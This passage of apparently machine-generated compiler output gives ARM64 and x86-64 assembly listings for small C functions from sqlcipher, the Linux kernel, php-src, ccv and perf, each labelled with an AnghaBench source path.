.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sqlite3TriggerInsertStep ; -- Begin function sqlite3TriggerInsertStep .p2align 2 _sqlite3TriggerInsertStep: ; @sqlite3TriggerInsertStep .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur x2, [x29, #-24] stur x3, [x29, #-32] stur w4, [x29, #-36] str x5, [sp, #48] str x6, [sp, #40] str x7, [sp, #32] ldur x8, [x29, #-8] ldr x8, [x8] str x8, [sp, #24] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne mov w9, #1 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #24] ldr x8, [x8] subs x8, x8, #0 cset w8, ne str w8, [sp, #12] ; 4-byte Folded Spill b LBB0_2 LBB0_2: ldr w8, [sp, #12] ; 4-byte Folded Reload and w0, w8, #0x1 bl _assert ldur x0, [x29, #-8] adrp x8, _TK_INSERT@GOTPAGE ldr x8, [x8, _TK_INSERT@GOTPAGEOFF] ldr w1, [x8] ldur x2, [x29, #-16] ldr x3, [sp, #40] ldr x4, [sp, #32] bl _triggerStepAllocate str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_7 b LBB0_3 LBB0_3: adrp x8, _IN_RENAME_OBJECT@GOTPAGE ldr x8, [x8, _IN_RENAME_OBJECT@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldur x8, [x29, #-32] ldr x9, [sp, #16] str x8, [x9, #24] ; kill: def $x8 killed $xzr stur xzr, [x29, #-32] b LBB0_6 LBB0_5: ldr x0, [sp, #24] ldur x1, [x29, #-32] adrp x8, _EXPRDUP_REDUCE@GOTPAGE ldr x8, [x8, _EXPRDUP_REDUCE@GOTPAGEOFF] ldr w2, [x8] bl _sqlite3SelectDup ldr x8, [sp, #16] str x0, [x8, #24] b LBB0_6 LBB0_6: ldur x8, [x29, #-24] ldr x9, [sp, #16] str x8, [x9, #16] ldr x8, [sp, #48] ldr x9, [sp, #16] str x8, [x9, #8] ldur w8, [x29, #-36] ldr x9, [sp, #16] str w8, [x9] b LBB0_8 LBB0_7: ldur x0, [x29, #-24] bl _testcase ldr x0, [sp, #24] ldur x1, [x29, #-24] bl _sqlite3IdListDelete ldr x0, [sp, #48] bl _testcase ldr x0, [sp, #24] ldr x1, [sp, #48] bl _sqlite3UpsertDelete b LBB0_8 LBB0_8: ldr x0, [sp, #24] ldur x1, [x29, #-32] bl _sqlite3SelectDelete ldr x0, [sp, #16] ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .comm _TK_INSERT,4,2 ; @TK_INSERT .comm _IN_RENAME_OBJECT,8,3 ; @IN_RENAME_OBJECT .comm _EXPRDUP_REDUCE,4,2 ; @EXPRDUP_REDUCE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sqlite3TriggerInsertStep ## -- Begin function sqlite3TriggerInsertStep .p2align 4, 0x90 _sqlite3TriggerInsertStep: ## @sqlite3TriggerInsertStep .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq 24(%rbp), %rax movq 16(%rbp), %rax movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movl %r8d, -36(%rbp) movq %r9, -48(%rbp) movq -8(%rbp), %rax movq (%rax), %rax movq %rax, -56(%rbp) movb $1, %al cmpq $0, -32(%rbp) movb %al, -65(%rbp) ## 1-byte Spill jne LBB0_2 ## %bb.1: movq -56(%rbp), %rax cmpq $0, (%rax) setne %al movb %al, -65(%rbp) ## 1-byte Spill LBB0_2: movb -65(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %edi callq _assert movq -8(%rbp), %rdi movq _TK_INSERT@GOTPCREL(%rip), %rax movl (%rax), %esi movq -16(%rbp), %rdx movq 16(%rbp), %rcx movq 24(%rbp), %r8 callq _triggerStepAllocate movq %rax, -64(%rbp) cmpq $0, -64(%rbp) je LBB0_7 ## %bb.3: movq _IN_RENAME_OBJECT@GOTPCREL(%rip), %rax cmpq $0, (%rax) je LBB0_5 ## %bb.4: movq -32(%rbp), %rcx movq -64(%rbp), %rax movq %rcx, 24(%rax) movq $0, -32(%rbp) jmp LBB0_6 LBB0_5: movq -56(%rbp), %rdi movq -32(%rbp), %rsi movq _EXPRDUP_REDUCE@GOTPCREL(%rip), %rax movl (%rax), %edx callq _sqlite3SelectDup movq %rax, %rcx movq -64(%rbp), %rax movq %rcx, 24(%rax) LBB0_6: movq -24(%rbp), %rcx movq -64(%rbp), %rax movq %rcx, 16(%rax) movq -48(%rbp), %rcx movq -64(%rbp), %rax movq %rcx, 8(%rax) movl -36(%rbp), %ecx movq -64(%rbp), %rax movl %ecx, (%rax) jmp LBB0_8 LBB0_7: movq -24(%rbp), %rdi callq _testcase movq -56(%rbp), %rdi movq -24(%rbp), %rsi callq _sqlite3IdListDelete movq -48(%rbp), %rdi callq _testcase movq -56(%rbp), %rdi movq -48(%rbp), %rsi callq _sqlite3UpsertDelete LBB0_8: movq -56(%rbp), %rdi movq -32(%rbp), %rsi callq _sqlite3SelectDelete movq -64(%rbp), %rax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _TK_INSERT,4,2 ## @TK_INSERT .comm _IN_RENAME_OBJECT,8,3 ## @IN_RENAME_OBJECT .comm _EXPRDUP_REDUCE,4,2 ## @EXPRDUP_REDUCE .subsections_via_symbols
AnghaBench/sqlcipher/src/extr_trigger.c_sqlite3TriggerInsertStep.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _do_raw_read_trylock ; -- Begin function do_raw_read_trylock .p2align 2 _do_raw_read_trylock: ; @do_raw_read_trylock .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] bl _arch_read_trylock str w0, [sp, #4] ldr w8, [sp, #4] subs w8, w8, #0 cset w8, eq and w0, w8, #0x1 ldr x1, [sp, #8] adrp x2, l_.str@PAGE add x2, x2, l_.str@PAGEOFF bl _RWLOCK_BUG_ON ldr w0, [sp, #4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "trylock failure on UP" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _do_raw_read_trylock ## -- Begin function do_raw_read_trylock .p2align 4, 0x90 _do_raw_read_trylock: ## @do_raw_read_trylock .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _arch_read_trylock movl %eax, -12(%rbp) cmpl $0, -12(%rbp) setne %al xorb $-1, %al andb $1, %al movzbl %al, %edi movq -8(%rbp), %rsi leaq L_.str(%rip), %rdx callq _RWLOCK_BUG_ON movl -12(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "trylock failure on UP" .subsections_via_symbols
AnghaBench/linux/kernel/locking/extr_spinlock_debug.c_do_raw_read_trylock.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function mysqli_savepoint_libmysql _mysqli_savepoint_libmysql: ; @mysqli_savepoint_libmysql .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] str x2, [sp, #24] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne and w10, w8, #0x1 adrp x9, l_.str.1@PAGE add x9, x9, l_.str.1@PAGEOFF adrp x8, l_.str@PAGE add x8, x8, l_.str@PAGEOFF ands w10, w10, #0x1 csel x2, x8, x9, ne ldur x3, [x29, #-16] add x0, sp, #8 mov w1, #0 bl _spprintf str w0, [sp, #4] ldur x0, [x29, #-8] ldr x1, [sp, #8] ldr w2, [sp, #4] bl _mysql_real_query str w0, [sp, #20] ldr x0, [sp, #8] bl _efree ldr w0, [sp, #20] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "RELEASE SAVEPOINT `%s`" l_.str.1: ; @.str.1 .asciz "SAVEPOINT `%s`" .no_dead_strip _mysqli_savepoint_libmysql .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function mysqli_savepoint_libmysql _mysqli_savepoint_libmysql: ## @mysqli_savepoint_libmysql .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq -24(%rbp), %rcx leaq L_.str.1(%rip), %rdx leaq L_.str(%rip), %rax cmpq $0, %rcx cmovneq %rax, %rdx movq -16(%rbp), %rcx leaq -40(%rbp), %rdi xorl %esi, %esi callq _spprintf movl %eax, -44(%rbp) movq -8(%rbp), %rdi movq -40(%rbp), %rsi movl -44(%rbp), %edx callq _mysql_real_query movl %eax, -28(%rbp) movq -40(%rbp), %rdi callq _efree movl -28(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "RELEASE SAVEPOINT `%s`" L_.str.1: ## @.str.1 .asciz "SAVEPOINT `%s`" .no_dead_strip _mysqli_savepoint_libmysql .subsections_via_symbols
AnghaBench/php-src/ext/mysqli/extr_mysqli_nonapi.c_mysqli_savepoint_libmysql.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function lbs_auth_to_authtype _lbs_auth_to_authtype: ; @lbs_auth_to_authtype .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] adrp x8, _ENOTSUPP@GOTPAGE ldr x8, [x8, _ENOTSUPP@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 str w8, [sp, #8] ldr w8, [sp, #12] str w8, [sp, #4] ; 4-byte Folded Spill subs w8, w8, #128 subs w8, w8, #1 cset w8, ls tbnz w8, #0, LBB0_3 b LBB0_1 LBB0_1: ldr w8, [sp, #4] ; 4-byte Folded Reload subs w8, w8, #130 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_2 LBB0_2: ldr w8, [sp, #4] ; 4-byte Folded Reload subs w8, w8, #131 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_6 LBB0_3: ldr w8, [sp, #12] str w8, [sp, #8] b LBB0_7 LBB0_4: mov w8, #129 str w8, [sp, #8] b LBB0_7 LBB0_5: mov w8, #128 str w8, [sp, #8] b LBB0_7 LBB0_6: b LBB0_7 LBB0_7: ldr w0, [sp, #8] add sp, sp, #16 ret .cfi_endproc ; -- End function .comm _ENOTSUPP,4,2 ; @ENOTSUPP .no_dead_strip _lbs_auth_to_authtype .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function lbs_auth_to_authtype _lbs_auth_to_authtype: ## @lbs_auth_to_authtype .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movq _ENOTSUPP@GOTPCREL(%rip), %rax movl (%rax), %eax negl %eax movl %eax, -8(%rbp) movl -4(%rbp), %eax movl %eax, -12(%rbp) ## 4-byte Spill addl $-128, %eax subl $2, %eax jb LBB0_1 jmp LBB0_6 LBB0_6: movl -12(%rbp), %eax ## 4-byte Reload subl $130, %eax je LBB0_3 jmp LBB0_7 LBB0_7: movl -12(%rbp), %eax ## 4-byte Reload subl $131, %eax je LBB0_2 jmp LBB0_4 LBB0_1: movl -4(%rbp), %eax movl %eax, -8(%rbp) jmp LBB0_5 LBB0_2: movl $129, -8(%rbp) jmp LBB0_5 LBB0_3: movl $128, -8(%rbp) jmp LBB0_5 LBB0_4: jmp LBB0_5 LBB0_5: movl -8(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _ENOTSUPP,4,2 ## @ENOTSUPP .no_dead_strip _lbs_auth_to_authtype .subsections_via_symbols
AnghaBench/linux/drivers/net/wireless/marvell/libertas/extr_cfg.c_lbs_auth_to_authtype.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _uniqid ; -- Begin function uniqid .p2align 2 _uniqid: ; @uniqid .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str wzr, [sp, #12] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] subs w8, w8, #8 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 bl _rand and w8, w0, #0xff ldrsw x10, [sp, #12] add x9, sp, #16 str w8, [x9, x10, lsl #2] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_1 LBB0_4: ldr w0, [sp, #16] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _uniqid ## -- Begin function uniqid .p2align 4, 0x90 _uniqid: ## @uniqid .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -36(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $8, -36(%rbp) jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movb $0, %al callq _rand movl %eax, %ecx andl $255, %ecx movslq -36(%rbp), %rax movl %ecx, -32(%rbp,%rax,4) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB0_1 LBB0_4: movl -32(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/ccv/test/unit/extr_memory.tests.c_uniqid.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function add_tracepoint_event _add_tracepoint_event: ; @add_tracepoint_event .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] str x2, [sp, #24] str x3, [sp, #16] ldr x0, [sp, #16] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _strpbrk subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x0, [x29, #-8] ldur x1, [x29, #-16] ldr x2, [sp, #24] ldr x3, [sp, #16] bl _add_tracepoint_multi_event str w0, [sp, #12] ; 4-byte Folded Spill b LBB0_3 LBB0_2: ldur x0, [x29, #-8] ldur x1, [x29, #-16] ldr x2, [sp, #24] ldr x3, [sp, #16] bl _add_tracepoint str w0, [sp, #12] ; 4-byte Folded Spill b LBB0_3 LBB0_3: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "*?" .no_dead_strip _add_tracepoint_event .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function add_tracepoint_event _add_tracepoint_event: ## @add_tracepoint_event .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq -32(%rbp), %rdi leaq L_.str(%rip), %rsi callq _strpbrk cmpq $0, %rax je LBB0_2 ## %bb.1: movq -8(%rbp), %rdi movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq -32(%rbp), %rcx callq _add_tracepoint_multi_event movl %eax, -36(%rbp) ## 4-byte Spill jmp LBB0_3 LBB0_2: movq -8(%rbp), %rdi movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq -32(%rbp), %rcx callq _add_tracepoint movl %eax, -36(%rbp) ## 4-byte Spill LBB0_3: movl -36(%rbp), %eax ## 4-byte Reload addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "*?" .no_dead_strip _add_tracepoint_event .subsections_via_symbols
AnghaBench/fastsocket/kernel/tools/perf/util/extr_parse-events.c_add_tracepoint_event.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function zf_ping _zf_ping: ; @zf_ping .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _jiffies@GOTPAGE ldr x8, [x8, _jiffies@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill stur x0, [x29, #-8] stur wzr, [x29, #-12] adrp x8, _COUNTER_2@GOTPAGE ldr x8, [x8, _COUNTER_2@GOTPAGEOFF] ldr w0, [x8] mov w1, #255 bl _zf_writeb ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x0, [x8] adrp x8, _next_heartbeat@GOTPAGE ldr x8, [x8, _next_heartbeat@GOTPAGEOFF] ldr x1, [x8] bl _time_before subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _next_heartbeat@GOTPAGE ldr x8, [x8, _next_heartbeat@GOTPAGEOFF] ldr x8, [x8] ldr x9, [x9] subs x1, x8, x9 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _dprintk ldr x1, [sp, #24] adrp x0, _zf_port_lock@GOTPAGE ldr x0, [x0, _zf_port_lock@GOTPAGEOFF] str x0, [sp, #8] ; 8-byte Folded Spill bl _spin_lock_irqsave bl _zf_get_control stur w0, [x29, #-12] adrp x8, _RESET_WD1@GOTPAGE ldr x8, [x8, _RESET_WD1@GOTPAGEOFF] str x8, [sp] ; 8-byte Folded Spill ldr w9, [x8] ldur w8, [x29, #-12] orr w8, w8, w9 stur w8, [x29, #-12] ldur w0, [x29, #-12] bl _zf_set_control ldr x8, [sp] ; 8-byte Folded Reload ldr w9, [x8] ldur w8, [x29, #-12] bic w8, w8, w9 stur w8, [x29, #-12] ldur w0, [x29, #-12] bl _zf_set_control ldr x0, [sp, #8] ; 8-byte Folded Reload ldr x1, [sp, #24] bl _spin_unlock_irqrestore ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x8, [x8] adrp x9, _ZF_HW_TIMEO@GOTPAGE ldr x9, [x9, _ZF_HW_TIMEO@GOTPAGEOFF] ldr x9, [x9] add x1, x8, x9 adrp x0, _zf_timer@GOTPAGE ldr x0, [x0, _zf_timer@GOTPAGEOFF] bl _mod_timer b LBB0_3 LBB0_2: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _pr_crit b LBB0_3 LBB0_3: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .comm _COUNTER_2,4,2 ; @COUNTER_2 .comm _jiffies,8,3 ; @jiffies .comm _next_heartbeat,8,3 ; @next_heartbeat .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "time_before: %ld\n" .comm _zf_port_lock,4,2 ; @zf_port_lock .comm _RESET_WD1,4,2 ; @RESET_WD1 .comm _zf_timer,4,2 ; @zf_timer .comm _ZF_HW_TIMEO,8,3 ; @ZF_HW_TIMEO l_.str.1: ; @.str.1 .asciz "I will reset your machine\n" .no_dead_strip _zf_ping .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function zf_ping _zf_ping: ## @zf_ping .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl $0, -12(%rbp) movq _COUNTER_2@GOTPCREL(%rip), %rax movl (%rax), %edi movl $255, %esi callq _zf_writeb movq _jiffies@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _next_heartbeat@GOTPCREL(%rip), %rax movq (%rax), %rsi callq _time_before cmpq $0, %rax je LBB0_2 ## %bb.1: movq _next_heartbeat@GOTPCREL(%rip), %rax movq (%rax), %rsi movq _jiffies@GOTPCREL(%rip), %rax subq (%rax), %rsi leaq L_.str(%rip), %rdi callq _dprintk movq -24(%rbp), %rsi movq _zf_port_lock@GOTPCREL(%rip), %rdi callq _spin_lock_irqsave movb $0, %al callq _zf_get_control movl %eax, -12(%rbp) movq _RESET_WD1@GOTPCREL(%rip), %rax movl (%rax), %eax orl -12(%rbp), %eax movl %eax, -12(%rbp) movl -12(%rbp), %edi callq _zf_set_control movq _RESET_WD1@GOTPCREL(%rip), %rax movl (%rax), %eax xorl $-1, %eax andl -12(%rbp), %eax movl %eax, -12(%rbp) movl -12(%rbp), %edi callq _zf_set_control movq -24(%rbp), %rsi movq _zf_port_lock@GOTPCREL(%rip), %rdi callq _spin_unlock_irqrestore movq _jiffies@GOTPCREL(%rip), %rax movq (%rax), %rsi movq _ZF_HW_TIMEO@GOTPCREL(%rip), %rax addq (%rax), %rsi movq _zf_timer@GOTPCREL(%rip), %rdi callq _mod_timer jmp LBB0_3 LBB0_2: leaq L_.str.1(%rip), %rdi callq _pr_crit LBB0_3: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _COUNTER_2,4,2 ## @COUNTER_2 .comm _jiffies,8,3 ## @jiffies .comm _next_heartbeat,8,3 ## @next_heartbeat .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "time_before: %ld\n" .comm _zf_port_lock,4,2 ## @zf_port_lock .comm _RESET_WD1,4,2 ## @RESET_WD1 .comm _zf_timer,4,2 ## @zf_timer .comm _ZF_HW_TIMEO,8,3 ## @ZF_HW_TIMEO L_.str.1: ## @.str.1 .asciz "I will reset your machine\n" .no_dead_strip _zf_ping .subsections_via_symbols
AnghaBench/linux/drivers/watchdog/extr_machzwd.c_zf_ping.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tty_audit_buf_alloc _tty_audit_buf_alloc: ; @tty_audit_buf_alloc .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _GFP_KERNEL@GOTPAGE ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] ldr w1, [x8] mov w0, #32 bl _kmalloc str x0, [sp] ldr x8, [sp] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: b LBB0_6 LBB0_2: adrp x8, _N_TTY_BUF_SIZE@GOTPAGE ldr x8, [x8, _N_TTY_BUF_SIZE@GOTPAGEOFF] ldr w0, [x8] adrp x8, _GFP_KERNEL@GOTPAGE ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] ldr w1, [x8] bl _kmalloc ldr x8, [sp] str x0, [x8, #24] ldr x8, [sp] ldr x8, [x8, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: b LBB0_5 LBB0_4: ldr x8, [sp] add x0, x8, #20 bl _mutex_init mov w1, #0 mov x0, x1 bl _MKDEV ldr x8, [sp] str w0, [x8, #16] ldr x8, [sp] str xzr, [x8, #8] ldr x8, [sp] str xzr, [x8] ldr x8, [sp] str x8, [sp, #8] b LBB0_7 LBB0_5: ldr x0, [sp] bl _kfree b LBB0_6 LBB0_6: ; kill: def $x8 killed $xzr str xzr, [sp, #8] b LBB0_7 LBB0_7: ldr x0, [sp, #8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _N_TTY_BUF_SIZE,4,2 ; @N_TTY_BUF_SIZE .no_dead_strip _tty_audit_buf_alloc .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tty_audit_buf_alloc _tty_audit_buf_alloc: ## @tty_audit_buf_alloc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $32, %edi callq _kmalloc movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB0_2 ## %bb.1: jmp LBB0_6 LBB0_2: movq _N_TTY_BUF_SIZE@GOTPCREL(%rip), %rax movl (%rax), %edi movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _kmalloc movq %rax, %rcx movq -16(%rbp), %rax movq %rcx, 24(%rax) movq -16(%rbp), %rax cmpq $0, 24(%rax) jne LBB0_4 ## %bb.3: jmp LBB0_5 LBB0_4: movq -16(%rbp), %rdi addq $20, %rdi callq _mutex_init xorl %esi, %esi movl %esi, %edi callq _MKDEV movl %eax, %ecx movq -16(%rbp), %rax movl %ecx, 16(%rax) movq -16(%rbp), %rax movq $0, 8(%rax) movq -16(%rbp), %rax movq $0, (%rax) movq -16(%rbp), %rax movq %rax, -8(%rbp) jmp LBB0_7 LBB0_5: movq -16(%rbp), %rdi callq _kfree LBB0_6: movq $0, -8(%rbp) LBB0_7: movq -8(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _N_TTY_BUF_SIZE,4,2 ## @N_TTY_BUF_SIZE .no_dead_strip _tty_audit_buf_alloc .subsections_via_symbols
AnghaBench/linux/drivers/tty/extr_tty_audit.c_tty_audit_buf_alloc.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function exec_man_man _exec_man_man: ; @exec_man_man .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, l_.str@PAGE add x8, x8, l_.str@PAGEOFF str x8, [sp, #8] b LBB0_2 LBB0_2: ldr x0, [sp, #8] ldr x2, [sp] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov x3, #0 bl _execlp adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl __ ldr x1, [sp, #8] bl _warning_errno ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "man" l_.str.1: ; @.str.1 .asciz "failed to exec '%s'" .no_dead_strip _exec_man_man .subsections_via_symbols
